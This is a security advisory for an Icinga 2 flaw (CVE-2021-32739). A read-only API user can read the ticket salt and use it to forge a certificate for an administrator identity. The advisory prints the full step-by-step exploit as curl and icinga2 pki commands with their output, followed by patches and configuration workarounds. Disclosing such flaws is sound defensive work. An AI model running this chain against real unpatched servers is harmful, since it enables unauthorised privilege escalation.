Results of queries for ApiListener objects include the ticket salt which allows in turn to steal (more privileged) identities

High **julianbrost** published **GHSA-98wp-jc6q-x5q5** on Jul 15, 2021

Package	
No package listed	
Affected versions	Patched versions
v2.4.0 through v2.12.4	v2.12.5 and v2.11.10

Description

Impact

Alice operates a regular master instance with a read-ony API user. Let's say for a dashboard.

```
object ApiUser "r/o" {
  password = "123456"
  permissions = [ "objects/query/*" ]
}
```

For better demonstration there's also an administrator with all possible permissions. To be as secure as possible, that user is authenticated by an X.509 certificate, not by a password.

```
object ApiUser "admin" {
  client_cn = "admin"
  permissions = [ "*" ]
}
```

With the read-ony user's credentials Eve can view most attributes of all config objects including `ticket_salt` of `ApiListener` .

```
root@eve:~$ curl -fksSLu r/o:123456 'https://10.211.55.58:5665/v1/objects/apilisteners?attrs=ticket_salt'
{"results":[{"attrs":{"ticket_salt":"7aa3ae9f1df6d6137fdc71831bfcd94a"},"joins":{},"meta":{},"name":"api","type":"ApiListener"}]}
```

This salt is enough to compute a ticket for every possible CN.

```
root@eve:~# icinga2 pki ticket --cn admin --salt 7aa3ae9f1df6d6137fdc71831bfcd94a
f8dabbb9acd2a92a16b65ee6cadd698b07e0f7b8
```

A such ticket, the master node's certificate, and a self-signed certificate are in turn enough to successfully request the desired certificate from Icinga.

```
root@eve:~# icinga2 pki save-cert --trustedcert /tmp/alice.crt --host 10.211.55.58 --port 5665 -x warning
(...)
root@eve:~# icinga2 pki new-cert --cn admin --key /tmp/admin.key --csr /tmp/admin.csr --cert /tmp/admin.crt -x warning
root@eve:~# icinga2 pki request --key /tmp/admin.key --cert /tmp/admin.crt --ca /tmp/ca.crt --trustedcert /tmp/alice.crt --host 10.211.55.58 --port 5665 --ticket
f8dabbb9acd2a92a16b65ee6cadd698b07e0f7b8 -x warning
```

And that certificate may in turn be used to steal an endpoint or API user's identity.

```
root@eve:~# curl -fksSL --cert /tmp/admin.crt --key /tmp/admin.key 'https://10.211.55.58:5665/v1?pretty=1'
{
    "results": [
        {
            "info": "More information about API requests is available in the documentation at https://icinga.com/docs/icinga2/latest/",
            "permissions": [
                "*"
            ],
            "user": "admin",
            "version": "r2.12.4-1"
        }
    ]
}
```

Patches

Users should immediately upgrade to v2.12.5 or (if not possible) to v2.11.10. Both of them fix the vulnerability.

Workarounds

Either specify queryable types explicitly.

```
object ApiUser "r/o" {
  password = "123456"
  permissions = [ "objects/query/Host", "objects/query/Service" ]
}
```

Or filter out ApiListener objects.

```
object ApiUser "r/o" {
  password = "123456"
  permissions = [ {
      permission = "objects/query/*"
      filter = {{ obj.type != "ApiListener" }}
    } ]
  }
```

References

- https://icinga.com/blog/2021/07/15/releasing-icinga-2-12-5-and-2-11-10/

For more information

If you have any questions or comments about this advisory:

- Email us at security(at)icinga.com

Severity

High

CVE ID

CVE-2021-32739

Weaknesses

CWE-267